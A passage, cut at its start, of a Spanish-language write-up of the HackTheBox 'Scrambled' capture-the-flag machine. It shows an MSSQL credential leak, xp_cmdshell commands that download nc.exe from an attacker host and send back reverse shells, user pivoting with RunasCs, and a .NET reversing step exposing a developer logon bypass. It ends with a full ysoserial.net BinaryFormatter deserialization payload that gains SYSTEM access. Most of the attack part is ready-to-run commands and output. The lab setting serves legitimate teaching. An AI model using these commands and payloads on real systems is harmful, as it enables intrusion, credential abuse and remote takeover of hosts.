Vemos que esta base de datos tiene tres tablas.
1SQL (SCRM\administrator dbo@master)> USE ScrambleHR;
2[*] ENVCHANGE(DATABASE): Old Value: master, New Value: ScrambleHR
3[*] INFO(DC1): Line 1: Changed database context to 'ScrambleHR'.
4SQL (SCRM\administrator dbo@ScrambleHR)> SELECT name AS Table_Name FROM sys.tables;
5Table_Name
6----------
7Employees
8
9UserImport
10
11Timesheets
Y consultando lo que hay en la tabla UserImport
vemos que tenemos una credencial.
1SQL (SCRM\administrator dbo@ScrambleHR)> SELECT * From Employees;
2EmployeeID FirstName Surname Title Manager Role
3---------- --------- ------- ----- ------- ----
4SQL (SCRM\administrator dbo@ScrambleHR)> SELECT * FROM UserImport;
5LdapUser LdapPwd LdapDomain RefreshInterval IncludeGroups
6-------- ----------------- ---------- --------------- -------------
7MiscSvc ScrambledEggs9900 scrm.local 90 0
Reverse Shell -> Foothold
Así que vamos a ganar acceso a la máquina.
Primero vamos a crear un directorio a través de la función xp_cmdshell
en C:\Windows\Temp\pointed
1SQL (SCRM\administrator dbo@master)> xp_cmdshell "mkdir c:\windows\temp\pointed"
2output
3------
4NULL
Vamos a copiar el ejecutable de nc.exe
a la máquina víctima, vamos a servirlo por el puerto 8081.
1ls | grep .exe
2nc.exe
3python3 -m http.server 8081
4Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
Ahora nos lo descargamos en la máquina víctima.
1SQL (SCRM\administrator dbo@master)> xp_cmdshell "curl http://10.10.14.197:8081/nc.exe -o c:\windows\temp\pointed\nc.exe"
2output
3--------------------------------------------------------------------------------
4 % Total % Received % Xferd Average Speed Time Time Time Current
5
6 Dload Upload Total Spent Left Speed
7
8100 59392 100 59392 0 0 384k 0 --:--:-- --:--:-- --:--:-- 386k
9
10NULL
Ahora, nos ponemos en escucha por el puerto 443 con netcat
1rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
Y nos mandamos la reverse shell.
1SQL (SCRM\administrator dbo@master)> xp_cmdshell "c:\windows\temp\pointed\nc.exe -e powershell 10.10.14.197 443"
Ahora hemos ganado acceso como el usuario sqlsvc
1PS C:\Windows\system32> whoami
2whoami
User Pivoting w/RunAsCs.exe
Pero recordemos que tenemos el combo que hemos encontrado en la base de datos
MiscSvc:ScrambledEggs9900
Vamos a compartir el ejecutable de RunasCs.exe
para la máquina víctima.
1PS C:\windows\temp\pointed> curl http://10.10.14.197:8081/RunasCs.exe -o runascs.exe
2curl http://10.10.14.197:8081/RunasCs.exe -o runascs.exe
3PS C:\windows\temp\pointed> dir
4dir
5
6
7 Directory: C:\windows\temp\pointed
8
9
10Mode LastWriteTime Length Name
11---- ------------- ------ ----
12-a---- 18/12/2024 16:20 59392 nc.exe
13-a---- 18/12/2024 16:22 51712 runascs.exe
Ahora nos ponemos en escucha otra vez con netcat
por el puerto 443.
1rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
Ahora nos mandamos una reverse shell utilizando el Logon Type
3 que corresponde a Network Logon
.
1PS C:\windows\temp\pointed> .\runascs.exe MiscSvc ScrambledEggs9900 powershell.exe -r 10.10.14.197:443 -l 3
2.\runascs.exe MiscSvc ScrambledEggs9900 powershell.exe -r 10.10.14.197:443 -l 3
3[*] Warning: LoadUserProfile failed due to insufficient permissions
4
5[+] Running in session 0 with process function CreateProcessAsUserW()
6[+] Using Station\Desktop: Service-0x0-74247$\Default
7[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 2508 created in background.
Y conseguimos una shell como MiscSvc
1PS C:\Windows\System32> whoami
2whoami
3scrm\miscsvc
Podemos leer la flag de usuario.
1PS C:\users\miscsvc\desktop> type user.txt
2type user.txt
39d9857bee160e3...
Privilege Escalation
Detecting the ScrambleClient.exe we saw in the website
Analizando los recursos de la máquina, encontramos el cliente que hemos visto antes en la página web, o al menos, eso es lo que quiero pensar.
1PS C:\shares\IT\apps\Sales Order Client> dir
2dir
3
4
5 Directory: C:\shares\IT\apps\Sales Order Client
6
7
8Mode LastWriteTime Length Name
9---- ------------- ------ ----
10-a---- 05/11/2021 20:52 86528 ScrambleClient.exe
11-a---- 05/11/2021 20:52 19456 ScrambleLib.dll
No puedo copiar el archivo por SMB ya que está desactivada la autenticación NTLM.
1copy ScrambleClient.exe \\10.10.14.197\smbFolder\ScrambleClient.exe
2copy ScrambleClient.exe \\10.10.14.197\smbFolder\ScrambleClient.exe
3copy : The request is not supported.
4At line:1 char:1
5+ copy ScrambleClient.exe \\10.10.14.197\smbFolder\ScrambleClient.exe
6+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
7 + CategoryInfo : NotSpecified: (:) [Copy-Item], IOException
8 + FullyQualifiedErrorId : System.IO.IOException,Microsoft.PowerShell.Commands.CopyItemCommand
Así que como el ejecutable está en los recursos compartidos por SMB, vamos a utilizar otra vez impacket-smbclient
que si admite autenticación por Kerberos para descargarlo.
1# ls
2drw-rw-rw- 0 Fri Nov 5 21:57:08 2021 .
3drw-rw-rw- 0 Fri Nov 5 21:57:08 2021 ..
4-rw-rw-rw- 86528 Fri Nov 5 21:57:08 2021 ScrambleClient.exe
5-rw-rw-rw- 19456 Fri Nov 5 21:57:08 2021 ScrambleLib.dll
6# mget *
7[*] Downloading ScrambleClient.exe
8[*] Downloading ScrambleLib.dll
Y ya lo tenemos en nuestra máquina.
1ls
2ScrambleClient.exe ScrambleLib.dll
Reversing Scramble Client
Podemos ver que ambos archivos utilizan .NET, por lo cual podemos utilizar dotPeek
para descompilarlo y analizar el código fuente.
1➜ client file ScrambleClient.exe
2ScrambleClient.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
3➜ client file ScrambleLib.dll
4ScrambleLib.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
Podemos compartirnos estos archivos a nuestra máquina con impacket-smbserver
1impacket-smbserver -smb2support smbFolder .
En el archivo ScrambleLib.dll
vemos el método Logon(string Username, string Password)
1 public bool Logon(string Username, string Password)
2 {
3 try
4 {
5 if (string.Compare(Username, "scrmdev", true) == 0)
6 {
7 Log.Write("Developer logon bypass used");
8 return true;
9 }
10 MD5 md5 = MD5.Create();
11 byte[] bytes = Encoding.ASCII.GetBytes(Password);
12 byte[] buffer = bytes;
13 int length = bytes.Length;
14 Convert.ToBase64String(md5.ComputeHash(buffer, 0, length));
15 ScrambleNetResponse response = this.SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.AuthenticationRequest, Username + "|" + Password));
16 switch (response.Type)
17 {
18 case ScrambleNetResponse.ResponseType.Success:
19 Log.Write("Logon successful");
20 return true;
21 case ScrambleNetResponse.ResponseType.InvalidCredentials:
22 Log.Write("Logon failed due to invalid credentials");
23 return false;
24 default:
25 throw new ApplicationException(response.GetErrorDescription());
26 }
27 }
28 catch (Exception ex)
29 {
30 ProjectData.SetProjectError(ex);
31 Exception exception = ex;
32 Log.Write("Error: " + exception.Message);
33 throw exception;
34 }
35 }
Vemos que si se utiliza el nombre de usuario scrmdev
se salta el proceso de autenticación y podemos autenticar sin contraseña.
Analyzing Client Code & Insecure Deserialization (BinaryFormatter) w/ysoserial.net
Otra cosa interesante es en la clase SalesOrder
, podemos ver que se utiliza un formato de serialización llamado Binary Formatter
1 public string SerializeToBase64()
2 {
3 BinaryFormatter binaryFormatter = new BinaryFormatter();
4 Log.Write("Binary formatter init successful");
5 using (MemoryStream serializationStream = new MemoryStream())
6 {
7 binaryFormatter.Serialize((Stream) serializationStream, (object) this);
8 return Convert.ToBase64String(serializationStream.ToArray());
9 }
10 }
11
12 public static SalesOrder DeserializeFromBase64(string Base64)
13 {
14 try
15 {
16 byte[] buffer = Convert.FromBase64String(Base64);
17 BinaryFormatter binaryFormatter = new BinaryFormatter();
18 Log.Write("Binary formatter init successful");
19 using (MemoryStream serializationStream = new MemoryStream(buffer))
20 return (SalesOrder) binaryFormatter.Deserialize((Stream) serializationStream);
21 }
22 catch (Exception ex)
23 {
24 ProjectData.SetProjectError(ex);
25 throw new ApplicationException("Error deserializing sales order: " + ex.Message);
26 }
27 }
Podemos ver que deserializar utilizando este formato puede llegar a ejecución remota de comandos
Recomiendo leer este artículo de Microsoft, y podemos generar un payload para mandarnos una reverse shell utilizando ysoserial.net que ya lo hemos utilizado en alguna máquina.
Ahora bien, tenemos que entender como funciona la aplicación para poder mandar este payload, para ello podemos analizar la clase ScrambleNetRequest
donde podemos ver todos los códigos que se envían al servidor.
Podemos hacer una pequeña prueba conectándonos al servidor con telnet
1telnet 10.129.108.148 4411
2Trying 10.129.108.148...
3Connected to 10.129.108.148.
4Escape character is '^]'.
5SCRAMBLECORP_ORDERS_V1.0.3;
6LIST_ORDERS
7SUCCESS;AAEAAAD/////AQAAAAAAAAAMAgAAAEJTY3JhbWJsZUxpYiwgVmVyc2lvbj0xLjAuMy4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW51bGwFAQAAABZTY3JhbWJsZUxpYi5TYWxlc09yZGVyBwAAAAtfSXNDb21wbGV0ZRBfUmVmZXJlbmNlTnVtYmVyD19RdW90ZVJlZmVyZW5jZQlfU2FsZXNSZXALX09yZGVySXRlbXMIX0R1ZURhdGUKX1RvdGFsQ29zdAABAQEDAAABf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0NBgIAAAAABgMAAAAKU0NSTVNPMzYwMQYEAAAAC1NDUk1RVTkxODcyBgUAAAAGSiBIYWxsCQYAAAAAQBHK4mnaCAAAAAAAIHJABAYAAAB/U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBgAACAgJBwAAAAAAAAAAAAAAEQcAAAAAAAAACw==|AAEAAAD/////AQAAAAAAAAAMAgAAAEJTY3JhbWJsZUxpYiwgVmVyc2lvbj0xLjAuMy4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW51bGwFAQAAABZTY3JhbWJsZUxpYi5TYWxlc09yZGVyBwAAAAtfSXNDb21wbGV0ZRBfUmVmZXJlbmNlTnVtYmVyD19RdW90ZVJlZmVyZW5jZQlfU2FsZXNSZXALX09yZGVySXRlbXMIX0R1ZURhdGUKX1RvdGFsQ29zdAABAQEDAAABf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0NBgIAAAAABgMAAAAKU0NSTVNPMzc0OQYEAAAAC1NDUk1RVTkyMjEwBgUAAAAJUyBKZW5raW5zCQYAAAAAAJ07rZbaCAAAAAAAUJJABAYAAAB/U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBgAACAgJBwAAAAAAAAAAAAAAEQcAAAAAAAAACw==
Al decodificarlo en base64 podemos ver una especie de objeto serializado, esto tiene sentido por lo que hemos visto de BinaryFormatter
1BScrambleLib, Version=1.0.3.0, Culture=neutral, PublicKeyToken=nullScrambleLib.SalesOrder
2 _IsComplete_ReferenceNumber_QuoteReference _SalesRep
3 _OrderItem_DueDate
4_TotalCostSystem.Collections.Generic.List`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]
5SCRMSO3601
6 SCRMQU91872J Hall @�i� r@System.Collections.Generic.List`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]_items_siz_version
7 base64: invalid input
El código de comando UPLOAD_ORDER
acaba invocando a la función UploadOrder(SalesOrder NewOrder)
de la clase ScrambleNetClient
1public void UploadOrder(SalesOrder NewOrder)
2 {
3 try
4 {
5 Log.Write("Uploading new order with reference " + NewOrder.ReferenceNumber);
6 string base64 = NewOrder.SerializeToBase64();
7 Log.Write("Order serialized to base64: " + base64);
8 ScrambleNetResponse response = this.SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.UploadOrder, base64));
9 if (response.Type != ScrambleNetResponse.ResponseType.Success)
10 throw new ApplicationException(response.GetErrorDescription());
11 Log.Write("Upload successful");
12 }
13 catch (Exception ex)
14 {
15 ProjectData.SetProjectError(ex);
16 Exception exception = ex;
17 Log.Write("Error: " + exception.Message);
18 throw exception;
19 }
20 }
Podemos ver que en un momento, se envía el mensaje serializado en base64 utilizando el método SendRequestAndGetResponse
1 private ScrambleNetResponse SendRequestAndGetResponse(ScrambleNetRequest Request)
2 {
3 Log.Write("Connecting to server");
4 TcpClient tcpClient = new TcpClient();
5 tcpClient.ReceiveTimeout = checked ((int) Math.Round(TimeSpan.FromSeconds(20.0).TotalMilliseconds));
6 tcpClient.ReceiveBufferSize = 2048;
7 tcpClient.SendBufferSize = 2048;
8 tcpClient.Connect(this.Server, this.Port);
9 try
10 {
11 using (NetworkStream stream = tcpClient.GetStream())
12 {
13 using (StreamWriter streamWriter = new StreamWriter((Stream) stream, Encoding.ASCII))
14 {
15 streamWriter.AutoFlush = true;
16 if (this.GetResponse(stream).Type != ScrambleNetResponse.ResponseType.Banner)
17 throw new ApplicationException("Unexpected response from server on initial connection");
18 string str = ScrambleNetRequest.GetCodeFromMessageType(Request.Type) + ";" + Request.Parameter + "\n";
19 Log.Write("Sending data to server: " + str);
20 streamWriter.Write(str);
21 Log.Write("Getting response from server");
22 ScrambleNetResponse response = this.GetResponse(stream);
23 try
24 {
25 byte[] bytes = Encoding.ASCII.GetBytes("QUIT\n");
26 stream.Write(bytes, 0, bytes.Length);
27 stream.Close();
28 }
29 catch (Exception ex)
30 {
31 ProjectData.SetProjectError(ex);
32 Log.Write("Error sending QUIT and closing stream: " + ex.Message);
33 ProjectData.ClearProjectError();
34 }
35 return response;
36 }
37 }
38 }
39 finally
40 {
41 try
42 {
43 tcpClient.Close();
44 }
45 catch (Exception ex)
46 {
47 ProjectData.SetProjectError(ex);
48 Log.Write("Error closing TCP connection: " + ex.Message);
49 ProjectData.ClearProjectError();
50 }
51 }
52 }
Como podemos en el código, hay un punto donde se envía la data al servidor donde se construye la cadena de solicitud combinando el código de la solicitud y su parámetro (Request.Type
y Request.Parameter
) después de un punto y coma.
Por ejemplo una solicitud válida sería
1UPLOAD_ORDER;BASE64_SERIALIZADO_BINARY_FORMATTER
Generating payload
Este sería el punto donde nosotros podríamos introducir nuestro payload generado ya que el servidor debería de primero decodificar el base64 y segundo deserializar el objeto enviado con formato Binary Formatter
el cual ya hemos visto que es vulnerable.
En una máquina Windows que tengamos vamos a descargarnos ysoserial.net y lo descomprimimos.
Ahora podemos generar nuestro payload, primero debemos elegir un gadget compatible con el formato, por ejemplo vamos a elegir TypeConfuseDelegate
Ahora generamos nuestro payload, importante que el output esté en base64 ya que hemos visto que para enviarlo al servidor debe de estar codificado.
1ysoserial.exe -f BinaryFormatter -o base64 -c "C:\Users\Public\Documents\nc.exe -e powershell 10.10.14.197 443" -g typeconfusedelegate
2AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAEIvYyBDOlxVc2Vyc1xQdWJsaWNcRG9jdW1lbnRzXG5jLmV4ZSAtZSBwb3dlcnNoZWxsIDEwLjEwLjE0LjE5NyA0NDMGBwAAAANjbWQEBQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQdtZXRob2QwB21ldGhvZDEDAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCQgAAAAJCQAAAAkKAAAABAgAAAAwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BwAAAAR0eXBlCGFzc2VtYmx5BnRhcmdldBJ0YXJnZXRUeXBlQXNzZW1ibHkOdGFyZ2V0VHlwZU5hbWUKbWV0aG9kTmFtZQ1kZWxlZ2F0ZUVudHJ5AQECAQEBAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkGCwAAALACU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQYMAAAAS21zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQoGDQAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5Bg4AAAAaU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MGDwAAAAVTdGFydAkQAAAABAkAAAAvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIHAAAABE5hbWUMQXNzZW1ibHlOYW1lCUNsYXNzTmFtZQlTaWduYXR1cmUKU2lnbmF0dXJlMgpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAQADCA1TeXN0ZW0uVHlwZVtdCQ8AAAAJDQAAAAkOAAAABhQAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGFQAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQoAAAAJAAAABhYAAAAHQ29tcGFyZQkMAAAABhgAAAANU3lzdGVtLlN0cmluZwYZAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGGgAAADJTeXN0ZW0uSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKARAAAAAIAAAABhsAAABxU3lzdGVtLkNvbXBhcmlzb25gMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw==
Ahora vamos a mover netcat
a un directorio público como hemos puesto en mi payload para evitar problemas, en mi caso C:\Users\Public\Documents
1PS C:\users\public\documents> dir
2dir
3
4
5 Directory: C:\users\public\documents
6
7
8Mode LastWriteTime Length Name
9---- ------------- ------ ----
10-a---- 18/12/2024 16:20 59392 nc.exe
Ahora nos ponemos en escucha con netcat
por el puerto 443.
1rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
Ahora enviamos una solicitud al servidor con el código UPLOAD_ORDER;PAYLOAD
que es lo que habíamos visto antes en el análisis del código y vemos que nos devuelve un error de deserialización.
Pero vemos que recibimos la conexión y somos nt authority\system
por lo cual ya habríamos escalado privilegios.
1rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.197] from (UNKNOWN) [10.129.108.148] 55424
4Windows PowerShell
5Copyright (C) Microsoft Corporation. All rights reserved.
6
7PS C:\Windows\system32> whoami
8whoami
9nt authority\system
Podemos ver la flag de root
1PS C:\users\administrator\desktop> type root.txt
2type root.txt
3eb5ca5f6aa15e8...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Scrambled #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Windows #DNS Enumeration #HTTP Enumeration #Information Disclosure #Abusing Insecure Credentials #SMB Enumeration Without NTLM Authentication #Kerberoasting #TGS Cracking #Hash Cracking #Cracking #Obtaining Domain SID From ObjectSid #Configuring Kerberos Realm #GSSAPI #Silver Ticket Attack #Exposed User Credentials #Abusing Xp_cmdshell #User Pivoting #Reversing .NET Executable #Analyzing .NET Code #Binary Formatter #Insecure Deserialization #Ysoserial.net